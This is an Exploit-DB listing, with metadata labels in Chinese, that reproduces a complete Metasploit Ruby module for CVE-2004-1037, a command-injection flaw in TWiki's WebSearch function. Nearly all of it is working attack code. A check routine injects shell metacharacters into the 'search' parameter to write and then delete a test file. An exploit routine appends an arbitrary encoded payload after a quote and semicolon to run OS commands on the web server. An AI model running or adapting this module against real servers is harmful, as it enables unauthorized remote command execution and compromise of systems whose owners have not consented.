标题: TWiki - Search Function Arbitrary Command Execution (Metasploit) EDB-ID: 16894 CVE: 2004-1037 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-03 漏洞利用脚本: ##
# $Id: twiki_search.rb 9671 2010-07-03 06:21:31Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'TWiki Search Function Arbitrary Command Execution',
   'Description'    => %q{
     This module exploits a vulnerability in the search component of TWiki.
    By passing a 'search' parameter containing shell metacharacters to the
    'WebSearch' script, an attacker can execute arbitrary OS commands.
   },
   'Author'         =>
    [
     # Unknown - original discovery
     'jduck'       # metasploit version
    ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9671 $',
   'References'     =>
    [
     [ 'CVE', '2004-1037' ],
     [ 'OSVDB', '11714' ],
     [ 'BID', '11674' ],
     [ 'URL', 'http://twiki.org/cgi-bin/view/Codev/SecurityAlertExecuteCommandsWithSearch' ]
    ],
   'Privileged'     => true, # web server context
   'Payload'        =>
    {
     'DisableNops' => true,
     'BadChars'    => ' ',
     'Space'       => 1024,
    },
   'Platform'       => [ 'unix' ],
   'Arch'           => ARCH_CMD,
   'Targets'        => [[ 'Automatic', { }]],
   'DisclosureDate' => 'Oct 01 2004',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('URI', [ true, "TWiki bin directory path", "/twiki/bin" ]),
   ], self.class)
 end


 def check
  content = rand_text_alphanumeric(16+rand(16))
  test_file = rand_text_alphanumeric(8+rand(8))
  cmd_base = datastore['URI'] + '/view/Main/WebSearch?search='
  test_url = datastore['URI'] + '/view/Main/' + test_file

  # first see if it already exists (it really shouldn't)
  res = send_request_raw({
    'uri' => test_url
   }, 25)
  if (not res) or (res.body.match(content))
   print_error("WARNING: The test file exists already!")
   return Exploit::CheckCode::Safe
  end

  # try to create it
  print_status("Attempting to create #{test_url} ...")
  search = rand_text_numeric(1+rand(5)) + "\';echo${IFS}" + content + "${IFS}>" + test_file + ".txt;#\'"
  res = send_request_raw({
    'uri' => cmd_base + Rex::Text.uri_encode(search)
   }, 25)
  if (not res) or (res.code != 200)
   return Exploit::CheckCode::Safe
  end

  # try to run it, 500 code == successfully made it
  res = send_request_raw({
    'uri' => test_url
   }, 25)
  if (not res) or (not res.body.match(content))
   return Exploit::CheckCode::Safe
  end

  # delete the tmp file
  print_status("Attempting to delete #{test_url} ...")
  search = rand_text_numeric(1+rand(5)) + "\';rm${IFS}-f${IFS}" + test_file + ".txt;#\'"
  res = send_request_raw({
    'uri' => cmd_base + Rex::Text.uri_encode(search)
   }, 25)
  if (not res) or (res.code != 200)
   print_error("WARNING: unable to remove test file (#{test_file})")
  end

  return Exploit::CheckCode::Vulnerable
 end


 def exploit

  search = rand_text_alphanumeric(1+rand(8))
  search << "';" + payload.encoded + ";#\'"

  query_str = datastore['URI'] + '/view/Main/WebSearch'
  query_str << '?search='
  query_str << Rex::Text.uri_encode(search)

  res = send_request_cgi({
    'method'    => 'GET',
    'uri'       => query_str,
   }, 25)

  if (res and res.code == 200)
   print_status("Successfully sent exploit request")
  else
   raise RuntimeError, "Error sending exploit request"
  end

  handler
 end

end URL: https://www.exploit-db.com/exploits/16894